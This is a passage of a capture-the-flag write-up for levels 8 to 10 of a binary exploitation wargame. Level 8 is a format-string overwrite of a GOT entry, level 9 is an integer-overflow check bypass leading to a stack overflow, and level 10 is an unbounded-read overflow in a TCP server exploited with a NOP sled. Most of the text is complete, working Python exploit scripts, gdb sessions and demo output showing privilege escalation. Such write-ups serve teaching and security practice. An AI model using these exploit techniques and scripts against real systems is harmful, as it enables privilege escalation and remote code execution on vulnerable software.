$ gcc /var/challenge/level8/8.c -o 8 -ggdb -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -no-pie -fno-pie
$ gdb --args 8 1
pwndbg> break 8.c:12 # break on first fopen
pwndbg> break 8.c:23 # break on second fopen
pwndbg> run
─────────────────[ DISASM / i386 / set emulate on ]─────────────────
   0x8049217 <sudoexec+17>    push   0x804a008
   0x804921c <sudoexec+22>    push   0x804a00a
 ► 0x8049221 <sudoexec+27>    call   fopen@plt
```

> Let's step through to the call and see where we jump:

```sh
pwndbg> nextcall
pwndbg> si
─────────────────[ DISASM / i386 / set emulate on ]─────────────────
 ► 0x80490b0  <fopen@plt>                jmp    dword ptr [0x804c028]
    # jumps to the next instruction in fopen@plt
    ↓
   0x80490b6  <fopen@plt+6>              push   0x38
   0x80490bb  <fopen@plt+11>             jmp    0x8049030
    # .. we don't care about this
    ↓
   0x8049030                             push   dword ptr [0x804c004]
   0x8049036                             jmp    dword ptr [0x804c008]
    # .. or this (.. but this is the dynamic linker code!)
    ↓
   0x40012ff0 <_dl_runtime_resolve>      endbr32
   0x40012ff4 <_dl_runtime_resolve+4>    push   eax
```

> So, since we have not yet called `fopen@plt`, the `fopen@got[plt]` entry simply points to the next instruction (`fopen@plt+6`). Which hands over to the dynamic linker to replace the `got[plt]` entry, hence allowing subsequent calls to `fopen@plt` to jump to the actual function.

```sh
pwndbg> telescope 0x804c028           # points to the next instruction
00:0000|  0x804c028 (fopen@got[plt]) —▸ 0x80490b6 (fopen@plt+6) ◂— push 0x38 /* 'h8' */
```

For reference, here is the disassembly of `fopen@plt`:

```sh
pwndbg> disass 'fopen@plt'
Dump of assembler code for function fopen@plt:
   0x080490b0 <+0>:     jmp    DWORD PTR ds:0x804c028
   0x080490b6 <+6>:     push   0x38
   0x080490bb <+11>:    jmp    0x8049030
End of assembler dump.
```

The pointer `fopen@got[plt]` can actually be found using `readelf`:

```sh
$ readelf -r 8
...
Relocation section '.rel.plt' at offset 0x414 contains 11 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
...
0804c028  00000907 R_386_JUMP_SLOT   00000000   fopen@GLIBC_2.1
```

Notice, the address 0x0804c028 is listed.
As before, this memory location stores the address which `fopen@plt` jumps to when it is called.

So let's see what happens when we next reach `fopen`:

```sh
 pwndbg> c
 pwndbg> nextcall
 pwndbg> si
 ──────────────────[ DISASM / i386 / set emulate on ]──────────────────
  ► 0x80490b0  <fopen@plt>    jmp    dword ptr [0x804c028]
     ↓
    0x400c7950 <fopen>        endbr32
    0x400c7954 <fopen+4>      sub    esp, 0x10
    0x400c7957 <fopen+7>      push   1
    0x400c7959 <fopen+9>      push   dword ptr [esp + 0x1c]
    0x400c795d <fopen+13>     push   dword ptr [esp + 0x1c]
    0x400c7961 <fopen+17>     call   __fopen_internal

    0x400c7966 <fopen+22>     add    esp, 0x1c
    0x400c7969 <fopen+25>     ret
pwndbg> telescope 0x804c028
00:0000|  0x804c028 (fopen@got[plt]) —▸ 0x400c7950 (fopen) ◂— endbr32
```

Now, it points to the actual location of `fopen`.

So, what we've learnt here is that if we are expecting to call something from the Procedure Linking Table: we can write to the address we find in the ELF relocation section to redirect where calling that given function takes us.

Now that we are primed on how to work with the PLT, we can pick a target.
The ideal option is `fclose` as it occurs immediately after the vulnerable `fprintf` code.

```sh
$ readelf -r /var/challenge/level8/8
0804a010  00000207 R_386_JUMP_SLOT   00000000   fclose@GLIBC_2.1
```

So our target address is 0x0804a010.

Using string format write primitives, we can write one byte at a time to replace the address at the address, specifically writing to 0x0804a010, 0x0804a011, 0x0804a012, and 0x0804a023.

First, we need these addresses in memory already. This is pretty trivial and a payload can be assembled as such: (uses `flatten()`[13])

```python
PLT_ADDRESS = bytes(flatten([
    (0x0804a010 + idx).to_bytes(4, 'little')
        for idx
        in range(0, 4)
]))
# b'\x10\xa0\x04\x08\x11\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08'
```

Now we must find where this information is written on the stack.
Since we can read `sudolog`, the easiest solution is to use read primitives:

```python
MARKER   = b"\x99"*16 # same length as PLT_ADDRESS
OFFSET   = 1          # search from offset 1
DISTANCE = 100        # search 100 locations
BATCH    = 5          # we have enough chars for 5 at once

from subprocess import check_output, CalledProcessError
for j in range(OFFSET, DISTANCE, BATCH):
    try:
        check_output([
            PROGRAM,
            MARKER + \
                (' '.join([
                    f'%{i}$08x'
                        for i
                        in range(j, j + BATCH)
                ])).encode('ascii')
        ])
    except CalledProcessError as e:
        if e.returncode != 255: # (-1)
            raise e
        pass # this is expected behaviour!
```

[13] https://stackoverflow.com/a/952952

On my server, the output looks like so:

```
1   1000: ████████████████████00000000 ffffcc70 00000003 00000000 f7fc6460
2   1000: ████████████████████f7ffd000 f7fc6700 f7d8b4be f7fc66d0 003055e4
3   1000: ████████████████████ffffcc70 000182af ffffcd04 f7fbe780 f7d85374
4   1000: ████████████████████f7fbe4a0 ffffccb4 ffffccb0 00000003 00000000
5   1000: ████████████████████00000000 00000000 f7d85374 0804831d f7d7c1b4
6   1000: ████████████████████f7fbe66c ffffcd04 003055e4 f7d8b4be f7fd02a4
7   1000: ████████████████████f7d78674 ffffcd0c f7ffdba0 00000002 f7fbeb10
8   1000: ████████████████████00000001 00000000 00000001 f7fbe4a0 00000002
9   1000: ████████████████████04000000 f7ffdc0c ffffcd44 00000000 f7ffd000
10  1000: ████████████████████00000020 00000000 ffffcd4c f7ffdba0 00000001
11  1000: ████████████████████f7fbe7b0 00000001 00000000 00000001 f7ffda40
12  1000: ████████████████████f7ffd000 f7fc4540 ffffffff 08048034 f7fc66d0
13  1000: ████████████████████f7ffd608 00000020 00000000 ffffcee8 00000000
14  1000: ████████████████████30303031 9999203a 99999999 99999999 99999999
15  1000: ████████████████████37259999 38302431 37252078 38302432 37252078
16  1000: ████████████████████38302438 37252078 38302439 38252078 38302430
17  1000: ████████████████████00000a78 0804b1a0 f7f9d000 ffffcd78 080487c7
18  1000: ████████████████████ffffcfcc f7ffd020 f7d94519 00000002 ffffce34
19  1000: ████████████████████ffffce40 ffffcda0 f7f9d000 0804878c 00000002
20  1000: ████████████████████ffffce34 f7f9d000 ffffce34 f7ffcb80 f7ffd020
```

Notice, we have the repeated data of 99s on the 14th row.
We can safely assume here that:

- You need an offset of 2 bytes.
- When 2 bytes are prefixed, the offset is $1 + 13 \cdot 5 + 2 = 68$!

> **Note**
>
> For the fun of it, we can use the generated output and automatically determine the offsets and padding that we need:

```python
from re import findall, search
with open('sudolog', 'rb') as f: # read hex strings to array
    stack = findall(r'[a-f0-9]{8}', f.read().decode('unicode_escape'))

IDX = stack.index('9'*8) # find the first complete sequence of marker
OFFSET = OFFSET + IDX # offset by offset set earlier

# determine how many bytes we are spilling out by
OVERLAP = int(min(
            # count upper bytes
            len(search('^9*', stack[IDX - 1]).group()),
    # none # count lower bytes           # find the tail of the marker
    8    - len(search('9*$', stack[IDX + int(16 / 4) - 1]).group())
) / 2)
```

One more thing, since we are going to be writing "characters written so far" to the target addresses, we need to know how much we're starting with. Inspecting the source code, we find that each line starts with the value of `getuid()` followed by ": " and then control is handed over to us.
So this is simple to calculate:

```python
WRITTEN_SO_FAR = len(f"{getuid()}: ") + OVERLAP + len(PLT_ADDRESS)
```

Now we have enough information to jump to an arbitrary address!
Let's start assembling our payload:

```python
# this aligns us to 4 bytes and writes the PLT address to stack
PAYLOAD = b'\x99'*OVERLAP + PLT_ADDRESS
```

Now, we create write primitives from our target address:

```python
 # legacy VA environment address for shellcode (as before)
 ADDRESS = (0xc0000000 - ...).to_bytes(4, 'little')

 for idx, byte in enumerate(ADDRESS):
   # "how much do we need to write to get from
   #  the last byte we wrote, to the next one?"
   width = byte - WRITTEN_SO_FAR
   while width <= 0:
       width += 256 # ensure +'ve offset != 0

   # push primitive to write unsigned int of `width` chars
   # push primitive to write 'chars written' to addr. at offset
   PAYLOAD += f'%{width}u%{OFFSET + idx}$n'.encode('ascii')
   WRITTEN_SO_FAR = byte
```

And now we just need to use the payload:

```python
from os import execve
ARGV = [PROGRAM, PAYLOAD]
ENVP = {
    's': SHELLCODE
}
execve(ARGV[0], ARGV, ENVP)
```

Exploit Demo

```sh
p4w@ip-172-31-1-172:~$ ./level8/exploit.py
Searching for the correct offset...
Successfully read 100 stack values! The offset is: 68
The padding size is 2 bytes.
The user `p4w' is already a member of `lev8'.
```

Challenge 9

This program accepts two number bases and a number as arguments, the number given is converted from the first to the second base before being printed in the format "`invalue -> outvalue`".

Explanation of Vulnerability

The vulnerability in this program is a bit subtle, there is a logic error in checking integer overflow which allows a buffer overflow in another part of the program.

The following lines check if an overflow occurs while constructing the long given the number string and the first radix:

```c
result = result * radix + cval;
if (result < oldresult) {
  fprintf(stderr, "overflow detected, argument too large\n");
```

Let's suppose radix is `2` and result is currently `4294967295`.
This can be achieved with the input "11111111111111111111111111111111".

1. $\text{result} \cdot \text{radix} = 4294967295 \cdot 2 = 8589934590$
2. $8589934590 + 1 = 8589934591$
3. The bit representation of the result is:
   `1`11111111111111111111111111111111
   The MSB (33rd bit) is truncated as the type of `result` is `unsigned long`!
4. $\text{result} \leftarrow 4294967295$
5. $\therefore$ overflow is not detected as result is the same as oldresult

So, we can write an arbitrarily long `invalue`.

Then, the other part of this vulnerability is:

```c
char buffer[384];
mystrcat(buffer, invalue);
mystrcat(buffer, separator);
```

We can make `invalue` any arbitrary length, and we can make `separator` any arbitrary 254 characters. Hence, we can do an **arbitrary write** to the stack!

Explanation of Exploit

Let's just try writing as much as we can and see what happens:

```sh
$ gcc 9.c -o 9 # ... and all the other flags as before
$ gdb --args env SEPARATOR=$(perl -e 'print "\xef\xbe\xad\xde"x32') ./9 2 2 $(perl -e 'print "1"x384')
pwndbg> add-symbol-file 9
pwndbg> r
Program received signal SIGSEGV, Segmentation fault.
0x080491cc in mystrcat (dst=0xffffcc01 "", src=0xdeadbef0 <error: Cannot access memory at address 0xdeadbef0>) at /var/challenge/level9/9.c:8
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► 0 0x80491cc mystrcat+38
   1 0x80495c2 main+289 #
pwndbg> disass main
   0x08049599 <+248>:   call   0x80491a6 <mystrcat>
   ...
   0x080495ab <+266>:   call   0x80491a6 <mystrcat>
   ...
   0x080495bd <+284>:   call   0x80491a6 <mystrcat>
   0x080495c2 <+289>
```

Okay so, a segmentation fault occurs in the third call to mystrcat. It appears that overwriting the stack we are also overwriting `outvalue`, we can verify this pretty easily by restarting and breaking:

```sh
pwndbg> add-symbol-file 9
pwndbg> break 9.c:136
pwndbg> r
pwndbg> p outvalue
$1 = 0xdeadbeef <error: Cannot access memory at address 0xdeadbeef>
pwndbg> p &outvalue
$2 = (char **) 0xffffcb80
# also while we are here, why not get the frame info?
pwndbg> info frame
Stack level 0, frame at 0xffffcba0:
 eip = 0x80495b3 in main (/var/challenge/level9/9.c:136); saved eip = 0xdeadbeef
```

We are overwriting both `outvalue` and `eip` successfully with 0xdeadbeef!
To prevent segmentation fault in `mystrcat`, we can just provide it with an readable address that points to a "null-terminated string", we can just make it copy our shellcode!

So now let's construct our exploit:

```python
# same constants/imports as usual
ARGV = [PROGRAM, '2', '2', '1' * 384]
ENVP = {'s': SHELLCODE, 'SEPARATOR': ADDRESS*32}
execve(ARGV[0], ARGV, ENVP)
```

```sh
[bfffffb0] --- SIGILL {si_signo=SIGILL, si_code=ILL_ILLOPN, si_addr=0xbfffffb0} ---
```

Almost! We have jumped to the address we wanted to, but our shellcode is not here.

Let's swap the ENVP ordering, giving us the final exploit code:

```python
#!/usr/bin/python3
PROG = '/var/challenge/level9/9'
SHLL = b"..." # same shellcode as usual
ADDRESS = (0xc0000000 - 8 - len(PROG) - 1 - len(SHLL) - 1).to_bytes(4, 'little')

from os import execve
# in/out radix set to 2
# invalue set to buffer size (384)
ARGV = [PROG, '2', '2', '1' * 384]
ENVP = {
    # overwrite the entire stack with our target address
    'SEPARATOR': ADDRESS*32,
    # shellcode is placed second to be just after program name
    's': SHLL
}
execve(ARGV[0], ARGV, ENVP)
```

Exploit Demo

```sh
p4w@ip-172-31-1-172:~$ python3 ./level9/exploit.py
111[...]1111[illegible]^1FvF
                                                    [illegible]/usr/local/bin/l33t
The user `p4w' is already a member of `lev9'.
```

Challenge 10

This program runs either a TCP or UDP server, upon user's request, on a given port, and then echoes any incoming connections.

Explanation of Vulnerability

This program performs **no bounds checking** so we can overwrite the stack.
Specifically, this occurs in the TCP client:

```c
char buffer[65536];
int index = 0;
while ((ret = read(0, &buffer[index], 1)) > 0) {
  index++;
  // keep reading until we encounter \x0a
  if (buffer[index - 1] == 0x0a) {
    break // & null-termination
```

We can keep feeding the TCP server data, and it will keep writing as much as we can give it, past the buffer size of
65536.

Explanation of Exploit

Let's first investigate the stack:

```sh
$ gcc /var/challenge/level10/10.c -o 10 -ggdb -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -no-pie -fno-pie
$ gdb --args 10 -p 1443
pwndbg> set follow-fork-mode child
pwndbg> break 10.c:49
pwndbg> r
Starting server on port 1443
$ echo $(perl -e 'print "\x99"x65536 . "\x0a"') | nc 127.0.0.1 1443
pwndbg> info frame
Stack level 0, frame at 0xfffec584:
 eip = 0x804942b in manage_tcp_client; saved eip = 0x8049bdd
  ebp at 0xfffec57c, eip at 0xfffec580
pwndbg> p &ret
$2 = (int *) 0xfffec574
pwndbg> p &index
$3 = (int *) 0xfffec578
pwndbg> x/8x &ret -4
0xfffec564:     0x99999999      0x99999999      0x99999999      0x99999999
0xfffec574:     0x00000001      0x00010000      0xffffcd38      0x08049bdd
```

The memory ordering is: `[buffer  ][index   ][ret     ][(junk)  ][retaddr ]`

Let's theorise a way to write into the return address:

- Write 0xff four times, index will be 0x00010004
- Write 0x07 to force index to be 0x00010008 by next iteration, skipping index
  Actually, we can skip the junk too, by writing 0x0b (+4 bytes)
- Write our own return address 0xdeadbeef

This gives us an arbitrary jump:

```sh
$ echo $(perl -e 'print "\x99"x65536 . "\xff"x4 . "\x0b" .
"\xef\xbe\xad\xde" . "\x0a"') | nc 127.0.0.1 1443
Thread 2.1 "10" received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
```

Inspecting the code, we can infer the buffer address can be offset by up to 8192 bytes due to this code in the parent frame (which therefore offsets the `manage_tcp_client()` frame):

```c
alloca(safe_random(8192));
```

Let's confirm this behaviour:

```sh
(gdb) x/4x &buffer
0xbffded7c:     0x99999999      0x99999999      0x99999999      0x99999999
(gdb) x/4x &buffer
0xbffded60:     0x99999999      0x99999999      0x99999999      0x99999999
(gdb) x/4x &buffer
0xbffde8ec:     0x99999999      0x99999999      0x99999999      0x99999999
```

$$\texttt{0xbffded60} - \texttt{0xbffded7c} = -\texttt{0x1c}\ (-28)$$
$$\texttt{0xbffded60} - \texttt{0xbffde8ec} = \texttt{0x474}\ \ (1140)$$

This means we'll need to rely on a NOP sled to get us to our shellcode (sequence of no-operation instructions that execute the next instruction).

Let's just pick a relatively safe address to jump to in our buffer:

$$\texttt{0xbffded7c} + 8192 = \texttt{0xbffe0d7c}$$

Putting it all together, start by defining constants:

```python
#!/usr/bin/python3
SRV = ("127.0.0.1", 1443)
PROG = '/var/challenge/level10/10'
SHLL = b"..." # same as always
ADDRESS = 0xbffe0d7c # as found above
```

Let's run the TCP server in the background:

```python
from subprocess import Popen
Popen([PROG, '-p', str(SRV[1])])
```

Build the payload:

```python
PAYLOAD  = b"\x90" * (65536 - len(SHLL)) # NOP sled
PAYLOAD += SHLL                          # shellcode
PAYLOAD += b"\xff" * 4                   # overwrite ret
PAYLOAD += b"\x0b"                       # write 0x0b to LSB of index
PAYLOAD += ADDRESS.to_bytes(4, 'little') # target address (in buffer)
PAYLOAD += b"\x0a"                       # finish write
```

Write a simple TCP client that:

- Reads the welcome message
- Sends the payload
- Receives all stdout from the process
- Prints the exploit result

```python
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(SRV)
sock.recv(1024) # "Ready to read!"
sock.sendall(PAYLOAD)

recv = b""
while 1:
    data = sock.recv(1024)
    if len(data) == 0: # nothing was read
        break
    recv += data

# discard the buffer contents by splitting on known string
buffer, output = recv.split(b'Done!')
print(output.decode('ascii'))
```

Exploit Demo

```sh
p4w@ip-172-31-1-172:~$ ./level10/exploit.py
Starting server on port 1443

The user `p4w' is already a member of `lev10'.
```